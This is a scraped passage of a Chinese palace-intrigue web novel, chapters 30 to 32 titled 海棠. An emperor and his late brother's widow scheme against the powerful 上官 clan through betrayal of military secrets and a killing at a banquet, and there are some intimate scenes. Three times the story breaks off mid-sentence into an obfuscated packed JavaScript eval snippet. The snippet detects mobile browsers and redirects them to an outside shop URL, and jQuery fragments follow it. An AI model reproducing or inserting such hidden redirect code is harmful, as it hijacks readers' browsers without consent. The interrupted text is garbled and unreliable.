赵长昭懒散地斜靠在龙椅上,对朝臣的议论并不关心。他的目光空洞游移,直到某一刻,才捕捉到上官楚的神情。
上官楚拿捏住他,他何尝看不透上官楚?
只一眼,赵长昭便察觉出上官楚对伐越的兴致。是了,上官楚虽在暮年,也是真正戎马半生、刀口舔血过来的。哪一个真正的将军不渴望战功?若真能收复边地三郡,那便是开国以来无人能及的不世之勋。上官楚岂会无动于衷?
赵长昭的手指在龙椅扶手上轻敲,他依旧不说话,由得朝臣争论。
直到散朝,诸臣仍争执不休,没有结论。如今前朝事是上官楚说了算,要多少兵马粮饷都是他说了算,上官楚不发话,就说明他还在考量。
赵长昭并不在意,面色依旧平静。下朝后,他独自折返御书房,走到暗门前,依约敲下三声。
静默片刻后,暗门里传来三下回响,意思是胡玉烟不想见他。赵长昭有些失落,转而无奈地坐在书案前。
密室中,胡玉烟的确不想见赵长昭,她知赵长昭偏爱在她身边盘旋,怎么驱赶也不会走,于是她起了几分恶劣的心思。
她听他低声倾诉,也会与他唇齿相触,可她从不应和他口口声声的爱意。她看见他因得不到回应而露出的失落与痛苦,她心口随之发疼,却偏偏生出一种残忍的快意。
有时候惹急了赵长昭,赵长昭便发了狠地吻她,从唇一直到脖颈,想要从她身上咬下来一块肉。胡玉烟不动作,只带着几分挑衅看着赵长昭。
不消片刻,那只狂暴的野兽便被她驯得俯首帖耳,像怕失去主人的犬,连呼吸都收敛小心。
赵长昭再来的时候,一入内便抱住她,他低声道:“玉烟,我已安排妥当了。”
胡玉烟心里咯噔了一下,“什么?”
“上官楚想伐越,我看出来了,我与越人定下交换,只要能换来上官楚的人头,我什么都能答应他们。”
胡玉烟抬眸看着赵长昭,那张年轻的脸因仇恨而透着扭曲的坚决。
她想到上次赵长昭想要做局害上官楚时,搭进了她全族的性命。赵长昭与越国往来,一定是有人冒着风险相助,泄露军机是大罪,九族抄斩怕是都不够。
胡玉烟皱了眉,片刻后又想到,可这与她又有何干?赵长昭说得对,只要能杀了上官楚,付出再大的代价也在所不惜。
赵长昭的笑意深处藏着阴影。
“我好想亲手了结了他,可我做不到,只能请人代劳了。”他再次拥住胡玉烟,贴在她耳边道:“玉烟,我答应过你,一定要杀了上官楚全族,我会做到的。”
胡玉烟垂下眼眸,长睫掩住了眸中的波澜,她有种大厦崩于眼前的快意,却只淡淡应了一声:“嗯。”
接下来的几天,赵长昭都表现得十分不安。
胡玉烟察觉到他心底的躁动,她亦不再压抑自己,同赵长昭一起笑得癫狂,好像他们本来就应该是这样的。
两人在密室中饮酒,喝到不省人事,不再理会明天会怎么样。
“马上又要入冬了。”赵长昭透过缝隙感受着吹进来的一丝寒风。
胡玉烟用嘴将酒渡给赵长昭,烈酒顺着喉头而下,暖意沁在胃里。
一日,上官楚全副甲胄入殿。
赵长昭见他到来,带着些小心地放下朱笔,却不见他开口,只见他负手立在铜镜前,慢条斯理地整了整花白的胡须。
殿中静得出奇,赵长昭只得重新执笔,继续批阅奏折。
“陛下瞧瞧臣,是不是老了?”上官楚冷不丁地冒出这么一句话。
赵长昭神色恭顺地回道:“爱卿风采依旧,朕还有好多东西没跟爱卿学呢。”
上官楚阔步上前,拿起赵长昭批阅的奏折看了看。
“你常年泡在御书房,也不去皇后那,批折子的功夫倒是渐长。”
孩子一出生,上官皇后和那与自己情投意合的表哥私会起来更是没了忌讳,赵长昭无心理会,倒是上官楚淡淡地训斥了自己孙女几句,算是揭过。
他语锋一转:“近来朝臣议论的伐越收复边地三郡之事,陛下意下如何?”
赵长昭身子微微一挺,盯着上官楚的脸色,良久才低声道:“朕不知。”
他又放低了声音,似带着几分畏惧:“此事非同小可,朕……害怕。”
上官楚瞥了他一眼,发出一声嗤笑,“陛下跟在臣面前学了这么多年,怎么还是无勇无谋?”
赵长昭依言垂下头。
上官楚也沉默了,就在赵长昭以为他不会再提之时,上官楚语气一顿,带着一声叹息道:“越国与赵国的旧怨由来已久,此番内乱天灾,正是天赐良机。陛下请下旨吧。”
赵长昭心脏狂跳,面上却装出一丝错愕。
他压下心底翻涌的念头,轻声应道:“此事凶险,会不会……”
上官楚的一个眼神扫来,赵长昭随即又补上一句,似畏似顺:“朕听上官大人的。”
看着上官楚离去的背影,赵长昭的手指在袖中悄然攥紧,指节泛白,紧接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580402|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着便是抑制不住的紧张和狂喜。
夜色沉沉,长街寂寥,宫中供奉历代赵国君王的祠殿越发显得幽静森冷。
赵长昭走着走着便来了这里,他停在门前,隔着门框一眼看见最新的那方灵位。烛火摇曳,将牌位的影子映得忽长忽短。
他自登基以来,竟一次都没有来过。
他十岁那年赵长曙做了皇帝,从此家破人亡,留他一人赤裸裸立在风雪里。
他想哥哥了。
烛泪顺着铜台缓缓淌下,他刚进宫时,只觉得自己是个孑然无依的孩子,被推搡着走到至高之处,再无人可依,再无人庇护。
日子这么难过,如今竟然过了这么久了。
赵长昭闭了闭眼,心底暗暗祈求,若真有天意,便让皇兄庇佑他,让他顺利除掉上官楚。
紧接着,赵长昭问自己,铲除上官家之后呢?
他所求不过是与心爱之人长厢厮守,可是他的爱人偏偏是哥哥的妻子。
痛苦与惶恐交织着压在心头,赵长昭不敢再往前走,他怕皇兄知道了他做的一切,不想见他。愧疚像是迟来的刀,从心底一寸一寸割开旧伤。
赵长昭红了眼眶,过了许久才稳下心神。
良久后他才缓过来,他重重地叹了口气,正欲转身离开。紧接着,烛火摇曳中,他瞥见一角衣裙。
他又走近了,正见到胡玉烟静静站在那儿,身影与烛影重叠,像一缕幽魂。
赵长昭心知除了胡玉烟不会有谁深夜来这里,等看清了人心口还是被刺了一下。
他先是愤怒,他把胡玉烟的性命看得重于一切,她却为了见皇兄,不顾自己的安危偷跑来这里。是今天刚好被她撞见,还是她本就日日都来?
胡玉烟只是吻他,却从没说过爱他,所以是不是在她心中从来没有放下过赵长曙?
“皇兄……”他眼底暗涌翻滚,嫉妒与痛苦在血脉里灼烧,却又被他死死压下。
灵位前的女子丝毫没有察觉到身后有人正在注视她,赵长昭捏紧了拳头,他比从前每一刻都要清楚胡玉烟那抹不肯散去的执念。
他不是第一次察觉,每当她沉默着注视远方,他总忍不住去猜测,她心底装的究竟是谁。
他们才是结发夫妻,自己怎么比得过皇兄呢?
看着那背影心中涌上一股酸涩。
嫉妒之火几乎要吞噬他,他恨不得将她整个夺入怀中,狠狠咬碎她对赵长曙的所有记忆。
赵长昭立在原地压抑着汹涌的情绪,他重重地闭了闭眼,将脊背挺得笔直。
他告诉自己皇兄已死,牌位冷冷立在高处,再无可能再与他争一分一毫。胡玉烟还活着,她就在这里,就在他伸手可及的地方。
赵长昭朝着那抹背影伸出五指。
她如今是他的。
这个念头像是一颗钉子,狠狠钉在他心口。
片刻后,他咽下一口气,抚平眼底翻滚的情绪,脚步轻缓默默朝她走上前去。
烛火摇曳,影子在墙上渐渐靠近,直到与她的身影重叠。
30. 海棠(二)
胡玉烟不知自己是怎么了,总是整宿整宿睡不着。
她一闭上眼脑海中便便闪过无数画面。有她在闺中与父母兄弟玩笑的,有她嫁给赵长曙同他举案齐眉的,她甚至看见了她那未出世的孩儿的模样。
胡玉烟觉得自己快疯,她一刻也不能忍受,鬼使神差地跑来了赵长曙的灵前。
她凝视着灵位。
往昔的温存与笑语一幕幕浮现,却终究化作烟云。她十六岁那年出嫁,以为会一生圆满顺遂,可如今,只剩下黄土一抔。
这世间最不值钱的,便是“圆满”二字。
胡玉烟苦涩地笑了一下,泪意在眼底泛起,却被她强行逼回去。
她想质问他的结发夫君,是不是怪她不顾礼义廉耻和赵长昭搅和在一起,才让她痛苦如斯?
胡玉烟双手紧扣,指节泛白,轻轻俯身,几乎是哽咽着低声祈求。
她想,你欠我的,赵长曙。欠我一个永不分离的誓言,欠我一生的安宁与守护。如今我活着,已不为自己。
她只求赵长曙若真的在天有灵,就助他们除掉上官家。
死人自然不会回应她,胡玉烟唇瓣微颤,泪水终是滑落,滴在冰凉的供案上,瞬间破碎。
酸楚如潮水般漫过心口,胡玉烟胸口起伏,整个人像是被撕扯得支离破碎。
她缓缓转身,本想就此离去,却猛然与一道视线撞上。
赵长昭不知何时站在那里,衣袖微垂,眸色深沉。
胡玉烟心头一震,那一瞬几乎要错认眼前人是他昔日的兄长。赵长昭静静望着她,喉咙轻轻动了动,却什么也没说。
她后退了一步,没想到居然会在这里撞见赵长昭,她望着他伸手,替她拂去眼角的泪痕。
“玉烟,天要下雨了,随我回去吧。”赵长昭的声音带着一点哽咽与小心翼翼。
胡玉烟嘴角勾起一抹浅浅的笑意,看向站在她身后的少年,她当即点了点头,然后加快了步子随赵长昭离开。
她心底忽然涌起一种危险的温柔错觉。若她早已是个无根无依的孤魂,那是不是……唯独赵长昭仍不舍得放开,仍执拗地想把她留住?
两人回了御书房又回了密室。胡玉烟垂下眼睫,胸口仍隐隐压着沉重,却又有一股前所未有的倦意缓缓浮起,她想她今天可以睡个好觉了。
赵长昭在旁凝视着她,眼底有劫后余生般的眷恋。
胡玉烟还没反应过来,赵长昭便猛得一把拥住她,带着从未有过的强势,将她牢牢困在怀中,像是在寻求安全感。
胡玉烟下意识挣扎,推搡他的肩膀,可动作到一半便慢慢停了下来。
赵长昭眼眶通红,眉头紧皱,眸中尽是破碎,满心满眼都是她。
胡玉烟睁着眼,看着赵长昭的急切和痴狂,还从来没有人对她这般痴迷。她忽而笑了,突觉倘若赵长昭若是个真正大权在握的君王,她要金山银山,对方都会拱手相送。
可她不要别的,她只想要上官一族的性命,偏偏赵长昭无能为力。
紧接着,赵长昭与她说,他估算得不错,上官楚要领兵伐越。
越国早答应他了,他们已经为上官楚布下了天罗地网,任他用兵如神也逃不出这陷阱。
赵长昭眉飞色舞,言语之间尽是带着喜悦。
“我经历过太多失落,已经不敢去奢望喜悦了。”胡玉烟将头抵在赵长昭肩上,忽而冒出了这么一句。
赵长昭摩挲着她的指尖,道:“我不会让你失望的。”
胡玉烟顿了顿,捧着赵长昭的脸,又在他的脸颊上落下一个个奖励般的吻,她贴在他的耳畔唤他“秀郎”,引得赵长昭一阵颤栗。
他盯住胡玉烟,眸中是痴迷和眷恋,“我期盼未来,只为两件事,一是除掉上官楚,二是同你在一起。”
只要上官家倒了,便无人能阻拦他们,“玉烟,我好想要你。”
胡玉烟眼睁睁看着赵长昭的情爱热得像一团火,她忽然有些困惑,为什么她的心死了,赵长昭的心却还在为她砰砰直跳。
他们明明都身处地狱,他却不以为意。他甘心沉沦,甚至乐在其中。
凭什么?
“我最近总是想起长曙……”
说完这话,胡玉烟很快在赵长昭眼中捕捉到那名为刺痛的情绪,她忽而觉得快活,赵长昭在因她而痛苦。可那快意里又裹着酸楚,像刀锋反过来割在自己心口,她对这种感觉近乎迷恋。
他们都在地狱,她痛苦,赵长昭也不应该快乐。
赵长昭沉默着,唇线绷紧,微微摇头,“他已不在了,玉烟。”
胡玉烟的脸上始终带着淡淡的笑意,赵长曙不要她了,可这世间仍有人因她而痛、因她而惧、因她而执着不放。
她可以轻而易举地就做到令赵长昭痛,他却偏偏离不开她。
他们如今生在一起,死也可以死在一块儿,有赵长昭在她身边,她便不是孤魂野鬼。
胡玉烟眼睫微颤,她心知赵长昭贪恋她给予的一切,必然不会在意她吻他时心里在想什么。
一吻结束,胡玉烟贴着赵长昭的耳垂,低声呢喃:“秀郎,玉烟不走,玉烟永远陪着秀郎,天地间只有我们最相配,我们死也会死在一起。”
“就像你说的那样。”
赵长昭的呼吸一滞,手指不自觉地紧握住她的肩膀。
“玉烟……”赵长昭哽咽着低声喊她的名字,声音里满是无助。
胡玉烟很满意赵长昭的反应,她将头倚在赵长昭肩上。房内烛光摇曳,两人的影子相互交错,像两条缠绕的蛇纠结在一起。
“秀郎想要什么?”胡玉烟问他。
赵长昭的双目发红,带着浓浓的眷恋和痴迷。
胡玉烟抬手将他散乱的额发别向耳后,又蒙上他的眼。
“秀郎想要什么?嗯?”胡玉烟的问句里带着调笑。
“你……”赵长昭的嗓音沙哑,他轻轻将她拥住,现下他们的呼吸与脉搏都在同一屋檐下。
胡玉烟将手移开,忽然的光亮让赵长昭有些不适应。
见他面露迷茫,胡玉烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593370|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着笑意继续问:“秀郎知道该怎么做吗?”
赵长昭愣了一下,随即慢慢地摇摇头。
“那我教你。”胡玉烟的声音极轻,赵长昭好似被刺了一下,怔怔地望着她,唇齿微启,却被她的指尖堵住。
胡玉烟引着赵长昭靠近,扯下她束发的发钗,两人唇齿相依,气息交缠。
一开始赵长昭不知道发生了什么,身躯微微发抖只遵循着本能,后来他得了趣,才知这世上竟然有如此极乐之事。
胡玉烟伸手想去蒙他的眼,被赵长昭一把握住按在枕侧。
他将她的神情恍惚看的分明,不由自主地又向她靠近。胡玉烟偷偷咬住了手背,却被赵长昭发现了,他贴在她耳畔带着气声问:“难受了?”
胡玉烟固执地摇摇头,眼眶有些湿润。
赵长昭于是又问:“那是舒服了?”
“玉烟说了要教我的,那我该怎么做?”
胡玉烟依旧不理会,只是将整张脸埋进枕头里。
窗外风声渐远,屋内的声息一点点化开。
上官楚出征那日,赵长昭率领百官为他送行。上官楚射箭助兴,却将箭头对准了赵长昭,一箭下去射落了赵长昭腰间的玉佩。
玉佩落到地上,碎裂成两半。
赵长昭被吓了一大跳,双腿一软,幸得内侍搀扶才没有跪坐在地。
上官楚大笑一声,将弓交给身旁的人,“看来老臣箭术不输从前,陛下请等此战凯旋。”
他说罢便翻身上马,调转马头,在号角声中扬长而去。
赵长昭背上起了一层薄汗,他知上官楚的确做得出再一次当众弑君这样的事。看着身边的文武百官,竟无一人敢斥责上官楚方才的行径,赵长昭不觉得奇怪。
他唯一的筹码便是身上流着赵家的血脉,他是名正言顺的君王,只要他起了心,就一定能找到愿意赌一个从龙之功的臣子。
在内侍的搀扶下,赵长昭坐回了高位,一直目送着上官楚的队伍远去,那块始终压在胸口的石头才松快了些。
夜色一重深过一重,两人身上皆带着粘腻,赵长昭方得了趣,总是来纠缠,胡玉烟皆是由着他。
赵长昭却跟个小孩儿似的胡搅蛮缠,除了耗不完的精力外还总爱问些有的没的。
赵长昭将头枕在胡玉烟膝上,他问:“玉烟真的愿意同我死在一块吗?”
胡玉烟的五指穿过他的头发,又转而与他十指相扣,“同你一起死了没什么不好。”
二人掌心相贴,赵长昭又问:“那若是在奈何桥上见到哥哥,玉烟会不会放开我的手?”
胡玉烟沉默了,没想到他会问这个。
赵长昭在她膝上蹭了蹭,自顾自地说道:“还是不要了,我要走到玉烟前头,我自己去找哥哥说清楚。”
胡玉烟俯下身在他额上落下一吻,赵长昭睁眼看着近在咫尺的面容,脸上浮现出一丝倦容,却又因为贪恋,迟迟不肯将目光移开。
胡玉烟将手掌附在赵长昭眼前,“秀郎困了,睡一会儿吧。”
31. 海棠(三)
上官楚率大军南征,一去便是三月。随军急报源源不断地送抵元都,赵长昭每拆一封,便亲手一字不差地誊抄下来,由密使连夜送往越国。
终于,那一日,殿门忽然被人撞开,八百里加急的檄文呈到御前,值守的侍卫和大臣们还来不及喘息,就听通传的内侍声音发颤。
“上官大人……陷阵受困,前军险危!”
赵长昭陡然站起身,快意如潮水般涌上来。
群臣面色惨白,纷纷上前请示对策,可赵长昭已听不进半句话。他挥了挥手,朱笔随手掷在案上,几乎是迫不及待地起身离席,袖袍拂过一地卷轴。
他再也按捺不住,口中低低笑了几声,那笑意像从胸腔深处溢出,快要涨破了整个人。
他不顾众臣骇然的目光,只想飞快奔回御书房。
推门而入时,他整个人气息还带着急切,眼底却燃着抑不住的光。
“玉烟!”他几乎是扑过去般抱住眼前的人,声音因喜悦而发颤,“上官楚遇险了!”
胡玉烟被他抱得几乎踉跄,怔怔望着他。
赵长昭俯在她耳畔,热气急促,像是怕落下一刻的快意:“我有预感,用不了多久,上官楚的死讯就要传来了。”
胡玉烟心口狠狠一震。她早已在心里千百次预演过必死的结局,却从未真正想过,有朝一日这复仇竟真的能成功。
片刻的恍惚后,她缓缓抬眸,盯着赵长昭那双因狂喜而泛红的眼睛,唇角颤了颤。
“秀郎、秀郎……”她奖励似的将赵长昭的额角吻了又吻。
前线的消息日夜传来,上官卓昂声声呼吁,愿即刻点兵驰援,绝不可让上官楚孤军深入,困于险境。
不需赵长昭表态,群臣之中已响起一片反对声。
赵长昭在心里发笑,上官一族气焰嚣张惯了,只要能让这些人嗅到一点上官家失势的苗头,不需要他做什么,那些为名为利的臣子便会开始使绊子。
朝中大臣争论不休,赵长昭只言自己头疼,匆匆退朝。
不出他所料,他刚进御书房,内侍便通传有人求见。
赵长昭让人进来,他不认得这个臣子,只见他穿着紫色官袍,说明品级不低。
那人入内后,先是恭敬一拜,语气却不卑不亢:“三朝老臣,御史大夫蒋卫参见陛下。”
“陛下,臣有一言,不敢在朝堂上明言。”
赵长昭抬眸望他,指尖轻敲案几,“卿且直说。”
蒋卫沉声道:“朝中议事,良莠不齐,有人忠心为国,有人却结党营私,假公济私。陛下方才登基不久,许多政事被把持在旁人之手,臣心中深感忧虑。”
他顿了顿,目光灼灼,几乎要穿透赵长昭的心思,“若陛下有意,臣愿尽绵薄之力,助陛下肃清奸邪,还政于君。”
御书房内一时静极,只听得烛火噼啪作响。
赵长昭看着那人,眉目似笑非笑,却终究未置一词。
他重新执起御案上的朱笔,缓缓批阅起手中的奏折,仿佛方才那番话,不过是一阵风声,未曾入耳。
那人依旧俯身立于殿中,见赵长昭不说话,片刻后只道:“臣告退。”
等人走后,赵长昭才放下手中笔。他挺直了脊背,心中早已了然,只要他还坐在龙椅上他便是赵国的君王,很多事不需要他开口表态,就会有人甘心冒险,拿出一些实绩来赌一个从龙之功。
上官卓昂亲自选了人,边地紧急调了一队人马前去支援上官楚。
当日上官卓昂在府中设宴,宴请了以上官卓昂为首的在朝中官居高位的众多上官家朝臣。御花园里张灯结彩,丝竹声声,酒香氤氲,气氛看似和乐。
上官卓昂仍有愁容,他举杯劝酒,频频向诸臣言笑。
赵长昭本不想去,可上官府派人来请,他只得带了贺礼,面上带着几分稚气未脱的笑意,向上官卓昂宽慰道:“上官将军吉人自有天相,定会化险为夷。”
二人举杯共饮。
酒过三巡,伴随着兵器破风之声,一枚烟雾弹在席间炸响。
“护驾!护驾——!”殿内顿时乱作一团。
赵长昭猛地从座位上起身,下一瞬立刻被一柄长刃划破了肩头,鲜血顷刻浸透衣袖。他忍下疼,好在刺客没有再上前的意思。
赵长昭慌急了,以为刺客是冲着他而来,连忙躲到侍卫身后。
烟雾渐浓,刀剑相击之声骤起,呼喊与惨叫此起彼伏,眼前一片混乱。赵长昭被近侍们护到一侧,额角冷汗直下,在迷雾间看着刺客迅速被乱刀砍翻。
他一眼看见被侍卫护着快要离开的上官卓昂。
赵长昭眼角一跳,忽而意思到什么,立刻便反应过来,抓起近旁御用弓弩,朝上官卓昂的方向蓦地放出一箭!
箭矢破空而去,却只擦过对方的衣袖。
赵长昭心中懊恼,紧接着上官卓昂却顺着箭射来的方向一眼看见远处的赵长昭。
他的眼神好像要吃人,赵长昭心被他盯地口一紧,腿下也跟着发软。
赵长昭的眼眶泛红,浑身被一种从未有过的亢奋所裹挟快,他速搭上第二箭,来不及瞄准便将这一箭射出。
“嗖——”
箭矢破开嘶吼与喧嚣,直直没入上官卓昂心口。
赵长昭瞳孔一震,眼看着上官卓昂的喉间溢出一声闷哼,整个人向后倒去,落在搀扶的侍卫身上。
弓箭一脱力落到地上,赵长昭干笑一声,紧张到双手发麻。
他刚刚,竟然亲手杀了上官卓昂。
不可一世的上官卓昂就这样被他一箭射死。
胸口像被火灼一般灼热,明明浑身冷汗,明明肩上还在滴血,他却忍不住想要大笑。
赵长昭兴奋地回转过身,迎面却撞上一双眼。
蒋卫正一手捻着胡须,面带笑意地看着他。赵长昭浑身的血冷了几分,刺杀是假,他顿时明白这一切都是蒋卫安排的……
上官卓昂乃是他突然起兴,亲手所杀,可弓和箭不会凭空出现在他身侧,蒋卫算计他,并将这一切尽收眼底。
赵长昭面上不动,只朝着蒋卫的方向略一颔首。
有人上前扶了一把僵在原地的赵长昭,又默默地将掉在地上的弓捡起捏在手上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601429|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵长昭双腿发软,将目光落在这个十分面生的侍卫身上。
“臣叫葛复,惟陛下马首是瞻。”侍卫嘟囔了这么一句,拢了拢披风将手中弓遮住。
赵长昭面上不动,在葛复的簇拥下飞快地离开了现场,蒋卫亦跟上。
“陛下箭术了得。”四下无人时,蒋卫朝他躬身作揖。
赵长昭背手而立,他不着急处理伤口,此时半个肩膀尽是血红。
“朕身边的侍卫多半都是上官楚的人,蒋大人知道该怎么处理吧。”
蒋卫露出一个了然的笑,“这是自然,今日之事只有我知、陛下知。”
送走了蒋卫,太医才慌慌张张地赶来,赵长昭任他检查包扎伤口。
纱布裹紧血口时,他甚至低低笑出声来。赵长昭捏了捏眉心,他的身躯在颤抖,却不是因为疼,强烈的喜悦让他丝毫感觉不到疼痛。
他迫不及待想要把这一切说与人听,好让这种狂喜不至于憋死在胸腔里。
“上官卓昂……死了。”他喃喃低语,眼角微微泛红,唇角却一点点勾了起来。
他忍不住扶着案几,俯身埋下脸,肩膀一抖一抖地笑了起来。那笑声起初低沉压抑,继而越来越轻快,直到他几乎笑出了泪来。
太医被赵长昭的模样吓了一跳,愣在原地不知所措。
赵长昭只继续笑着让太医退下,太医犹豫了一瞬,立刻识趣地跑开了。
赵长昭心口的热血翻涌得厉害,太医的话他一句也没听进去,猛地推开近侍,几乎是踉跄着往御书房奔去。肩上的伤口还在渗血,衣袍湿了一大片,他却浑然不觉。
夜风扑面而来,血腥味夹杂着烟火气,赵长昭在暗门处敲了三下,门开后他没有走近,反而一把将胡玉烟从密室内拽了出来。
“你……”胡玉烟被赵长昭身上的血迹吓了一跳。
赵长昭的声音带着颤音,仿佛用尽全身气力才挤出来,“上官卓昂,被我一箭穿心,就在殿上,他当场倒下!”
他说着,整个人都在抖,眼睛亮得骇人。
“我做到了!上官卓昂死了!他们谁也救不了他!”
“下一个就是上官楚,还有上官家所有人!”
胡玉烟看着赵长昭笑,笑得眼泪都要落下来。
“玉烟……”他攥紧她的手亲吻。
胡玉烟愣了一下,亦同他一起狂笑,明明前不久他们还抱在一起痛哭的。
赵长昭急切地吻上来,胡玉烟也按捺不住。
她听见他在耳畔低声呢喃,反复说着要同她共生共死。那声音带着执拗与偏执,令她心底战栗,却也奇异地沉醉。
这世上再无人能真正触及她的过往,也无人会执意与她共赴将来。唯有他,知晓她的伤痛与执念,明白她的爱与恨,愿同她一并背负。
他们一同沉溺,一同燃烧,她的喜,她的悲,他都要与她紧紧相缠。
“玉烟,我会做到的,我一定会铲除上官一族。”
“秀郎、秀郎……”胡玉烟呢喃着唤赵长昭的名字,“我什么都不要,只想偿还这些年的苦恨。”
32. 海棠(四)
晨光透过朱窗洒下,赵长昭的身影被金瓦镀上了一层冷光。
他端坐在龙椅上,神色寡淡,明明今日无事可议,却迟迟不下退朝的旨意。珠帘垂落,隔开了他的目光与众臣,他透过那一排细珠,将殿下文武一一打量。
赵长昭闭了闭眼,心知上官一家把持朝政多年,这些臣子多半都不中用了。
一名通事太监急匆匆奔入殿中,跪地禀报:“启禀陛下——前线急报!上官楚大将军所率三万兵马,于涿阳关遭敌伏击,粮道被断……其二子……战死沙场!”
殿中喧哗声四起,赵长昭的指尖微微一顿,身子前倾,似要起身,又缓缓坐回。
“上官楚呢?”他声音极稳,听不出喜怒。
太监抖着声音答道:“尚被困于关内,死活未明。”
金銮殿内立刻传来一阵喧闹,赵长昭一手抚住头,倚在龙椅上,他扬了扬手,一旁的内侍立刻清了嗓子,连喊几声肃静。
“陛下,臣以为,现下该调三营援军前往涿阳关,务必支援!”一名大臣出列,拱手奏道,引得众人纷纷附和。
赵长昭垂下眼,唇角几乎要掀起一丝笑意,却又忍住了,一切皆在他的计划之中,只是没想到上官楚命这般大,上官楚一日不死,他的心始终悬着。
他的语气带着几分疲惫与软弱,“上官大人乃国之柱石,功高劳重,理当速议万全之策,务必援救。”
“只是事到如今,朕也不知该如何是好,众爱卿可有对策?”
“陛下。”蒋卫出列禀道:“日前整编的兵马,现下已整备完毕,随时可发,不妨即咳前往关隘,同时八百里加急令边防守军,先一步赶往支援。”
葛复却道:“此事非同小可,尚需从长计议。”
赵长昭斜看了他一眼,蒋卫已向他投诚,必不是真心要去营救上官楚,这么说便是有他的道理。
紧接着又有大臣奏道:“陛下,臣以为,当彻查上官卓昂遇刺一案,以防内乱。”
提到上官卓昂的死,赵长昭将脊背挺直了几分。
一直不曾发一言的上官华上一步禀道:“臣以为叔父之死,恐怕是有人特意为之,烦请陛下做主,还上官家一个公道。”
“陛下年岁虽轻,可也得分得清轻重缓急,不可寒了臣子心。”
上官华言语间咬字极重,赵长昭忍不住一瑟缩,已是多年来的本能反应。
二人对视的一刹那赵长昭捏紧了拳头,他顿了顿方道:“此事关乎上官家,朕自然关切。”
“想来上官大人在时,曾言朕天资愚钝,如今失了上官大人,朕方知他所言极是。”赵长昭一手扶额,露出一副触景伤情的悲切模样。
蒋卫适时附和道:“陛下节哀。”
上官华依旧拱手立在前列,赵长昭却全然不理,反而整个人倚在软靠上,偏偏不去看他。
人群一阵喧闹,赵长昭捏了捏眉心,片刻后才道:“查、查、都查,众爱卿接着商议。”他随意摆手,神情淡漠,吩咐道:“回头拟一份奏疏陈禀,朕乏了,退朝。”
“这、陛下……”
人群一阵骚乱,赵长昭并不顾忌,他着背手,唇边漾出一抹若有若无的笑意,自顾自地离开了议事殿。
如今日头正好,寒冬已过,紧接着就要开春了。去往寝殿的仪车转道去了御书房,赵长昭方才坐下,止下了浑身颤栗,不出他所料,不到一刻,蒋卫便来求见了。
“爱卿平身。”赵长昭免了冠,热切地扶着蒋卫起身。
“臣以为陛下身子不适,特来探望。”
赵长昭皮笑肉不笑,只附和道:“朕正值壮年,少有不适。”
二人皆是沉默了一瞬,终是蒋卫先开了口:“臣有对越一战之事想要与陛下商议。”
“哦?”赵长昭后撤了半步,自顾自回到书案前坐下,等着蒋卫的后话。
蒋卫半生皆在宦海沉浮,自有一番气度,他沉声道:“上官华而今在彻查上官卓昂遇刺一案,臣怕他胡乱攀咬,惹出麻烦。”
赵长昭抬眼看了看蒋卫,并不回话。
这个人话里话外皆显威胁之意,若真等他上位,又与上官楚有何异?他从一开始就不真的信任此人,可惜还需他与上官家抗衡。
蒋卫忽而跪地拱手,道:“臣不愿与上官家同流,经年饱受排挤,臣想求一个转机。”
蒋卫叩首道:“全凭陛下做主。”
赵长昭盯着眼前人,捏紧了拳头,他是皇帝不假,可这些年来又有几人真当他是皇帝?所有人都一样,不过是从他身上还没有捞够好处。
他有一瞬间的恍惚,下一瞬又敛起戾气,带着笑意道:“爱卿忠君爱国,是好事。”
“只是上官楚是先皇帝亲命的辅政大臣,上官一族把持朝政多年,许多事确是有不妥之处。可惜朕尚年轻,很多事还没学明白。”
蒋卫的头依旧埋在地上,赵长昭看不见他的表情,只道:“就拿涿阳关驰援一事,朕现在十分担心出什么岔子。”
一瞬间的沉默后,蒋卫方道:“臣明白,此事由兵部的韦氏负责,韦氏乃是上官门生,虽说年纪尚轻,可臣已想到万全之策。”
“请陛下静候佳音,臣必不让陛下失望。”
赵长昭颔首一笑,上前几步将蒋卫扶起,“有爱卿在,朕心安。”
他知蒋卫为人老辣奸滑,上官一族根深势大,由他们去斗最好不过。这些新贵和老臣之间的戏码上演过无数次了,他是皇帝,皇帝不需要知道这么多细节。
话说到这,蒋卫却没有要走的意思,不一会儿,殿外走进一个妙龄女子。
女子衣着简单,低着头,有些怯怯地走到蒋卫身边。
皇宫不许外眷出入,赵长昭皱着眉,有些不明所以。
蒋卫领着女子上前,道:“这是臣的小女儿,原是宫中女官,臣念及陛下身边少些伺候的宫女,特意引荐小女。”
赵长昭的目光在父女二人间扫视,他在心底嗤笑一声,终究没说什么,只是背转过身。
